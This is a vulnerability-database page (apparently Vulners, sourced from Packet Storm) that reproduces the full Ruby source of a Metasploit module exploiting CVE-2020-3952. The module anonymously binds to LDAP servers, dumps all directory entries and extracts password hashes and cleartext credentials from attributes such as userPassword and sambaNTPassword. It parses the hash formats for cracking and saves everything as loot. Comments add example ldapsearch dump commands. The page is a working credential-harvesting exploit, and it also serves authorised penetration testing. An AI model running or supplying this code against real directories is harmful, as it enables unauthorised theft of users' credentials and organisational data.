Lucene search
K

LDAP Information Disclosure

🗓️ 31 Aug 2024 00:00:00Reported by Hynek Petrak, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 387 Views

This module uses an anonymous-bind LDAP connection to dump data from an LDAP server. Searching for attributes with user credentials (e.g. userPassword)

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::LDAP  
include Msf::OptionalSession::LDAP  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'LDAP Information Disclosure',  
'Description' => %q{  
This module uses an anonymous-bind LDAP connection to dump data from  
an LDAP server. Searching for attributes with user credentials  
(e.g. userPassword).  
},  
'Author' => [  
'Hynek Petrak' # Discovery, module  
],  
'References' => [  
['CVE', '2020-3952'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']  
],  
'DisclosureDate' => '2020-07-23',  
'License' => MSF_LICENSE,  
'Actions' => [  
['Dump', { 'Description' => 'Dump all LDAP data' }]  
],  
'DefaultAction' => 'Dump',  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 636  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options([  
OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]),  
OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),  
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),  
OptString.new('USER_ATTR', [false, 'LDAP attribute(s), that contains username', 'dn']),  
OptString.new('PASS_ATTR', [  
true, 'LDAP attribute, that contains password hashes',  
'userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword'  
# Other potential candidates:  
# ipanthash, krbpwdhistory, krbmkey, userpkcs12, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory  
])  
])  
end  
  
def user_attr  
@user_attr ||= 'dn'  
end  
  
def print_ldap_error(ldap)  
opres = ldap.get_operation_result  
msg = "LDAP error #{opres.code}: #{opres.message}"  
unless opres.error_message.to_s.empty?  
msg += " - #{opres.error_message}"  
end  
print_error("#{ldap.peerinfo} #{msg}")  
end  
  
# PoC using ldapsearch(1):  
#  
# Retrieve root DSE with base DN:  
# ldapsearch -xb "" -s base -H ldap://[redacted]  
#  
# Dump data using discovered base DN:  
# ldapsearch -xb bind_dn -H ldap://[redacted] \* + -  
def run_host(ip)  
@rhost = ip  
  
@read_timeout = datastore['READ_TIMEOUT'] || 600  
  
entries_returned = 0  
  
ldap_new do |ldap|  
if ldap.get_operation_result.code == 0  
vprint_status("#{ldap.peerinfo} LDAP connection established")  
else  
# Even if we get "Invalid credentials" error, we may proceed with anonymous bind  
print_ldap_error(ldap)  
end  
  
@rhost = ldap.peerhost  
@rport = ldap.peerport  
  
if (base_dn_tmp = datastore['BASE_DN'])  
vprint_status("#{ldap.peerinfo} User-specified base DN: #{base_dn_tmp}")  
naming_contexts = [base_dn_tmp]  
else  
vprint_status("#{ldap.peerinfo} Discovering base DN(s) automatically")  
  
naming_contexts = ldap.naming_contexts  
print_ldap_error(ldap) unless ldap.get_operation_result.code == 0  
  
if naming_contexts.nil? || naming_contexts.empty?  
vprint_warning("#{ldap.peerinfo} Falling back to an empty base DN")  
naming_contexts = ['']  
end  
end  
  
@max_loot = datastore['MAX_LOOT']  
  
@user_attr ||= datastore['USER_ATTR']  
@user_attr ||= 'dn'  
vprint_status("#{ldap.peerinfo} Taking '#{@user_attr}' attribute as username")  
  
pass_attr ||= datastore['PASS_ATTR']  
@pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)  
  
# Dump root DSE for useful information, e.g. dir admin  
if @max_loot.nil? || (@max_loot > 0)  
print_status("#{ldap.peerinfo} Dumping data for root DSE")  
  
ldap_search(ldap, 'root DSE', {  
ignore_server_caps: true,  
scope: Net::LDAP::SearchScope_BaseObject  
})  
end  
  
naming_contexts.each do |base_dn|  
print_status("#{ldap.peerinfo} Searching base DN='#{base_dn}'")  
entries_returned += ldap_search(ldap, base_dn, {  
base: base_dn  
})  
end  
end  
  
# Safe if server did not returned anything  
unless (entries_returned > 0)  
fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')  
end  
rescue Timeout::Error  
fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')  
rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e  
fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")  
end  
  
def ldap_search(ldap, base_dn, args)  
entries_returned = 0  
creds_found = 0  
def_args = {  
base: '',  
return_result: false,  
attributes: %w[* + -]  
}  
Tempfile.create do |f|  
f.write("# LDIF dump of #{ldap.peerinfo}, base DN='#{base_dn}'\n")  
f.write("\n")  
begin  
# HACK: fix lack of read/write timeout in Net::LDAP  
Timeout.timeout(@read_timeout) do  
ldap.search(def_args.merge(args)) do |entry|  
entries_returned += 1  
if @max_loot.nil? || (entries_returned <= @max_loot)  
f.write("# #{entry.dn}\n")  
f.write(entry.to_ldif.force_encoding('utf-8'))  
f.write("\n")  
end  
@pass_attr_array.each do |attr|  
if entry[attr].any?  
creds_found += process_hash(entry, attr)  
end  
end  
end  
end  
rescue Timeout::Error  
print_error("#{ldap.peerinfo} Host timeout reached while searching '#{base_dn}'")  
return entries_returned  
ensure  
unless ldap.get_operation_result.code == 0  
print_ldap_error(ldap)  
end  
if entries_returned > 0  
print_status("#{ldap.peerinfo} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")  
f.rewind  
pillage(f.read, base_dn)  
elsif ldap.get_operation_result.code == 0  
print_error("#{ldap.peerinfo} No entries returned for '#{base_dn}'.")  
end  
end  
end  
entries_returned  
end  
  
def pillage(ldif, base_dn)  
vprint_status("Storing LDAP data for base DN='#{base_dn}' in loot")  
  
ltype = base_dn.clone  
ltype.gsub!(/ /, '_')  
ltype.gsub!(/,/, '.')  
ltype.gsub!(/(ou=|fn=|cn=|o=|dc=|c=)/i, '')  
ltype.gsub!(/[^a-z0-9._-]+/i, '')  
ltype = ltype.last(16)  
  
ldif_filename = store_loot(  
ltype, # ltype  
'text/plain', # ctype  
@rhost, # host  
ldif, # data  
nil, # filename  
"Base DN: #{base_dn.gsub(/[^[:print:]]/, '')}" # info, remove null char from base_dn  
)  
  
unless ldif_filename  
print_error('Could not store LDAP data in loot')  
return  
end  
  
print_good("Saved LDAP data to #{ldif_filename}")  
end  
  
def decode_pwdhistory(hash)  
# https://ldapwiki.com/wiki/PwdHistory  
parts = hash.split('#', 4)  
unless parts.length == 4  
return hash  
end  
  
hash = parts.last  
unless hash.starts_with?('{')  
decoded = Base64.decode64(hash)  
if decoded.starts_with?('{') || (decoded =~ /[^[:print:]]/).nil?  
return decoded  
end  
end  
hash  
end  
  
def process_hash(entry, attr)  
service_details = {  
workspace_id: myworkspace_id,  
module_fullname: fullname,  
origin_type: :service,  
address: @rhost,  
port: @rport,  
protocol: 'tcp',  
service_name: 'ldap'  
}  
  
creds_found = 0  
  
# This is the "username"  
dn = entry[@user_attr].first # .dn  
  
entry[attr].each do |hash|  
if attr == 'pwdhistory'  
hash = decode_pwdhistory(hash)  
end  
  
# 20170619183528ZHASHVALUE  
if attr == 'passwordhistory' && hash.start_with?(/\d{14}Z/i)  
hash.slice!(/\d{14}Z/i)  
end  
  
# Cases *[crypt}, !{crypt} ...  
hash.gsub!(/.?{crypt}/i, '{crypt}')  
  
# We observe some servers base64 encdode the hash string  
# and add {crypt} prefix to the base64 encoded value  
# e2NyeXB0f in base64 means {crypt  
# e3NtZD is {smd  
if hash.starts_with?(/{crypt}(e2NyeXB0f|e3NtZD)/)  
begin  
hash = Base64.strict_decode64(hash.delete_prefix('{crypt}'))  
rescue ArgumentError  
nil  
end  
end  
  
# Some have new lines at the end  
hash.chomp!  
  
# Skip empty or invalid hashes, e.g. '{CRYPT}x', xxxx, ****  
if hash.nil? || hash.empty? ||  
(hash.start_with?(/{crypt}/i) && hash.length < 10) ||  
hash.start_with?('*****') ||  
hash.start_with?(/yyyyyy/i) ||  
hash == '*' ||  
hash.end_with?('*LK*', # account locked  
'*NP*') || # password has never been set  
# reject {SASL} pass-through  
hash =~ /{sasl}/i ||  
hash.start_with?(/xxxxx/i) ||  
(attr =~ /^samba(lm|nt)password$/ &&  
(hash.length != 32 ||  
hash =~ /^aad3b435b51404eeaad3b435b51404ee$/i ||  
hash =~ /^31d6cfe0d16ae931b73c59d7e0c089c0$/i)) ||  
# observed sambapassword history with either 56 or 64 zeros  
(attr == 'sambapasswordhistory' && hash =~ /^(0{64}|0{56})$/)  
next  
end  
  
case attr  
when 'sambalmpassword'  
hash_format = 'lm'  
when 'sambantpassword'  
hash_format = 'nt'  
when 'sambapasswordhistory'  
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9  
# where the left part is a salt and the right part is MD5(Salt+NTHash)  
# attribute value may contain multiple concatenated history entries  
# for john sort of 'md5($s.md4(unicode($p)))' - not tested  
hash_format = 'sambapasswordhistory'  
when 'krbprincipalkey'  
hash_format = 'krbprincipal'  
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7  
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:  
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558  
# Salted with principal name:  
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175  
# In the meantime, dump the base64 encoded value.  
hash = Base64.strict_encode64(hash)  
when 'userpkcs12'  
# if we get non printable chars, encode into base64  
if (hash =~ /[^[:print:]]/).nil?  
hash_format = 'pkcs12'  
else  
hash_format = 'pkcs12-base64'  
hash = Base64.strict_encode64(hash)  
end  
else  
if hash.start_with?(/{crypt}.?\$1\$/i)  
hash.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')  
hash_format = 'md5crypt'  
elsif hash.start_with?(/{crypt}/i) && hash.length == 20  
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format  
hash.slice!(/{crypt}/i)  
# FIXME: what is the right jtr_hash - des,crypt or descrypt ?  
# identify_hash returns des,crypt, while JtR acceppts descrypt  
hash_format = 'descrypt'  
# TODO: not sure if we shall slice the prefixes here or in the JtR/Hashcat formatter  
# elsif hash.start_with?(/{sha256}/i)  
# hash.slice!(/{sha256}/i)  
# hash_format = 'raw-sha256'  
else  
# handle vcenter vmdir binary hash format  
if hash[0].ord == 1 && hash.length == 81  
_type, hash, salt = hash.unpack('CH128H32')  
hash = "$dynamic_82$#{hash}$HEX$#{salt}"  
else  
# Remove LDAP's {crypt} prefix from known hash types  
hash.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')  
end  
hash_format = Metasploit::Framework::Hashes.identify_hash(hash)  
end  
end  
  
# highlight unresolved hashes  
hash_format = '{crypt}' if hash =~ /{crypt}/i  
  
print_good("#{@rhost}:#{@rport} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")  
  
# known hash types should have been identified,  
# let's assume the rest are clear text passwords  
if hash_format.nil? || hash_format.empty?  
credential = create_credential(service_details.merge(  
username: dn,  
private_data: hash,  
private_type: :password  
))  
else  
credential = create_credential(service_details.merge(  
username: dn,  
private_data: hash,  
private_type: :nonreplayable_hash,  
jtr_format: hash_format  
))  
end  
  
create_credential_login({  
core: credential,  
access_level: 'User',  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details))  
creds_found += 1  
end  
creds_found  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation